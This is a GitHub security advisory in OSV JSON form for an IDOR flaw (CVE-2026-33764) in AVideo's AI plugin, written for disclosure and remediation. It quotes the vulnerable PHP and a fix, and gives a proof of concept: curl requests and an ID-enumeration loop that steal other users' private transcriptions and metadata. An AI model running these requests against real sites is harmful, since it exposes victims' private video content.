{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33764"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:08:12Z",
    "nvd_published_at": "2026-03-27T15:16:58Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe AI plugin\u0027s `save.json.php` endpoint loads AI response objects using an attacker-controlled `$_REQUEST[\u0027id\u0027]` parameter without validating that the AI response belongs to the specified video. An authenticated user with AI permissions can reference any AI response ID \u2014 including those generated for other users\u0027 private videos \u2014 and apply the stolen AI-generated content (titles, descriptions, keywords, summaries, or full transcriptions) to their own video, effectively exfiltrating the information.\n\n## Details\n\nIn `plugin/AI/save.json.php`, the authorization flow checks that the user can edit the *target video* (`Video::canEdit($videos_id)` at line 23), but loads the AI response object from a completely separate, user-controlled parameter:\n\n**Line 29 \u2014 metatags path (no ownership check):**\n```php\nif(!empty($_REQUEST[\u0027ai_metatags_responses_id\u0027])){\n    $ai = new Ai_metatags_responses($_REQUEST[\u0027id\u0027]);  // Loads ANY response by ID\n    \n    if (empty($ai-\u003egetcompletion_tokens())) {\n        forbiddenPage(\u0027AI Response not found\u0027);\n    }\n}\n```\n\n**Line 146 \u2014 transcription path (no ownership check):**\n```php\ncase \u0027text\u0027:\n    if(!empty($_REQUEST[\u0027ai_transcribe_responses_id\u0027])){\n        $ait = new Ai_transcribe_responses($_REQUEST[\u0027id\u0027]);  // Loads ANY response by ID\n        $value = $ait-\u003egetVtt();\n```\n\nThe `ObjectYPT` base class constructor performs a simple database lookup with no authorization:\n```php\npublic function __construct($id = \"\", $refreshCache = false) {\n    if (!empty($id)) {\n        $this-\u003eload($id, $refreshCache);  // SELECT * WHERE id = ? \u2014 no permission check\n    }\n}\n```\n\nThe loaded data is then applied to the attacker\u0027s video \u2014 titles via `$video-\u003esetTitle()` (line 49-51), descriptions via `$video-\u003esetDescription()` (lines 91-92, 100-101), and transcriptions via `file_put_contents()` (line 156).\n\nIn contrast, `plugin/AI/delete.json.php` correctly validates ownership by traversing to the parent `Ai_responses` record:\n\n```php\n// delete.json.php lines 42-44 \u2014 CORRECT ownership check\n$ai = new Ai_responses($aitr-\u003egetAi_responses_id());\nif ($ai-\u003egetVideos_id() == $videos_id) {\n    $obj-\u003eai_transcribe_responses_id = $aitr-\u003edelete();\n```\n\nThis proves the developers intended ownership validation but omitted it in the save endpoint.\n\n## PoC\n\n**Prerequisites:** Two user accounts (attacker and victim), both with `canUseAI` permission. The victim has generated AI metadata or transcription for a private video.\n\n**Step 1: Attacker enumerates AI response IDs to steal metadata**\n\nAI response IDs are sequential integers. The attacker supplies their own `videos_id` (which they can edit) but references a victim\u0027s AI response `id`:\n\n```bash\n# Attacker owns video ID 5, victim\u0027s AI metatags response is ID 42\ncurl -b \"attacker_cookies\" \\\n  \"https://target.example/plugin/AI/save.json.php\" \\\n  -d \"videos_id=5\u0026ai_metatags_responses_id=1\u0026id=42\u0026label=videoTitles\u0026index=0\"\n```\n\n**Expected result:** The victim\u0027s AI-generated title (from their private video) is applied to the attacker\u0027s video (ID 5). The attacker reads back their video to see the stolen title.\n\n**Step 2: Attacker steals full transcription (higher impact)**\n\n```bash\n# Victim\u0027s AI transcription response is ID 17\ncurl -b \"attacker_cookies\" \\\n  \"https://target.example/plugin/AI/save.json.php\" \\\n  -d \"videos_id=5\u0026ai_transcribe_responses_id=1\u0026id=17\u0026label=text\"\n```\n\n**Expected result:** The victim\u0027s VTT transcription file is written to the attacker\u0027s video directory. The attacker can now access the full spoken content of the victim\u0027s private video by requesting the VTT subtitle file for their own video.\n\n**Step 3: Enumerate all responses**\n\n```bash\n# Iterate through sequential IDs to harvest all AI responses\nfor id in $(seq 1 100); do\n  curl -s -b \"attacker_cookies\" \\\n    \"https://target.example/plugin/AI/save.json.php\" \\\n    -d \"videos_id=5\u0026ai_metatags_responses_id=1\u0026id=${id}\u0026label=videoTitles\u0026index=0\"\ndone\n```\n\n## Impact\n\n- **Confidentiality breach of private video content:** An attacker can steal full transcriptions (VTT subtitles) generated by AI for other users\u0027 private videos, revealing the complete spoken content without ever accessing the video file itself.\n- **Metadata exfiltration:** AI-generated titles, descriptions, keywords, summaries, and content ratings from other users\u0027 private videos can be read by applying them to the attacker\u0027s own video.\n- **Trivial enumeration:** AI response IDs are sequential integers, allowing an attacker to systematically harvest all AI-generated content across the platform.\n- **Low barrier:** Any user with `canUseAI` permission who owns at least one video can exploit this. No admin access required.\n\n## Recommended Fix\n\nAdd ownership validation in `save.json.php` matching what `delete.json.php` already does. Load the parent `Ai_responses` record and verify `getVideos_id()` matches the provided `$videos_id`:\n\n```php\n// For metatags (after line 29):\nif(!empty($_REQUEST[\u0027ai_metatags_responses_id\u0027])){\n    $ai = new Ai_metatags_responses($_REQUEST[\u0027id\u0027]);\n    \n    if (empty($ai-\u003egetcompletion_tokens())) {\n        forbiddenPage(\u0027AI Response not found\u0027);\n    }\n    \n    // ADD: Ownership validation\n    $aiParent = new Ai_responses($ai-\u003egetAi_responses_id());\n    if ($aiParent-\u003egetVideos_id() != $videos_id) {\n        forbiddenPage(\u0027AI Response does not belong to this video\u0027);\n    }\n}\n\n// For transcriptions (at line 146, inside case \u0027text\u0027):\n$ait = new Ai_transcribe_responses($_REQUEST[\u0027id\u0027]);\n\n// ADD: Ownership validation\n$aitParent = new Ai_responses($ait-\u003egetAi_responses_id());\nif ($aitParent-\u003egetVideos_id() != $videos_id) {\n    forbiddenPage(\u0027AI Response does not belong to this video\u0027);\n}\n\n$value = $ait-\u003egetVtt();\n```",
  "id": "GHSA-g39v-qrj6-jxrh",
  "modified": "2026-03-27T21:38:32Z",
  "published": "2026-03-26T18:08:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-g39v-qrj6-jxrh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33764"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/aa2c46a806960a0006105df47765913394eec142"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo: IDOR in AI Plugin Allows Stealing Other Users\u0027 AI-Generated Metadata and Transcriptions"
}